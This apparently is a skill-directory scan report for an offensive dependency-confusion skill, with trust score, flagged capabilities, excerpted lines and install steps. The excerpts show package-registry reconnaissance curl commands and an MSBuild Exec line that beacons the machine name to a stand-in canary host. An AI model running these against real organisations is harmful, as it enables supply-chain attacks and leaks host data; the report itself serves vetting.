← All skills
offensive-dependency-confusion
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a media skill usually calls an AI service over the internet.
By SnailSploit/Claude-Red (GitHub) · media · 10,590 stars · scanned at commit a8de813
Deep-dive offensive methodology for dependency confusion and namespace attacks across all major package ecosystems. Covers npm scope confusion exploiting the gap between public and private scoped packages and .npmrc misconfigurations where registry mappings fail to pin internal scopes exclusively. Addresses PyPI namespace attacks through --extra-index-url resolution ordering, NuGet feed priority exploitation when multiple package sources are configured without clear directives, Maven and Gradle…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this.
Found in 16 places.
Show 13 more
- Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 117
gh api search/code \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 145
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name' - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 178
target_packages="corp-utils internal-auth shared-config data-pipeline" - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 206
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error' - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 260
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 351
grep -rh 'PackageReference Include=' --include="*.csproj" . | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 392
group_path=$(echo "com.targetcorp" | tr '.' '/') - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 416
curl -s "https://proxy.golang.org/corp.example.com/internal-lib/@v/list" - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 426
cat go.sum | awk '{print $1}' | sort -u | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 455
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 481
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count' - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 504
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 556
strace -f -e trace=network npm install 2>&1 | grep -i connect
Sends data to these websites: pypi.org, target.example.com, hub.docker.com, registry.npmjs.org, canary.researcher.example, proxy.golang.org, rubygems.org
The author does not mention this. Expected for a media skill.
Found in 19 places.
Show 16 more
- Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 94
curl -s https://target.example.com/ | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 97
curl -s "https://target.example.com/$chunk" | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 108
curl -s https://target.example.com/nonexistent 2>&1 | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 145
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name' - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 146
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]' - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 180
code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg") - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 206
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error' - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 240
const req = https.request({ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 284
import os, sys, socket, urllib.request - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 304
urllib.request.urlopen(urllib.request.Request( - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 356
code=$(curl -s -o /dev/null -w "%{http_code}" \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 368
<Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)" - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 393
curl -s -o /dev/null -w "%{http_code}" \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 416
curl -s "https://proxy.golang.org/corp.example.com/internal-lib/@v/list" - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 455
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" | \ - Skills/supply-chain/offensive-dependency-confusion/SKILL.md, line 481
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'
Downloads and installs other software
The author does not mention this.
Found in 4 places.
Show 1 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'offensive-dependency-confusion' ] || [ -L ~/.agents/skills/'offensive-dependency-confusion' ]; then echo 'A skill folder named offensive-dependency-confusion already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/supply-chain/offensive-dependency-confusion' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/supply-chain/offensive-dependency-confusion' ~/.agents/skills/'offensive-dependency-confusion' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-dependency-confusion' ~/.claude/skills/'offensive-dependency-confusion' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | a8de813 | 75 |
| 2026-11-07 | a8de813 | 75 |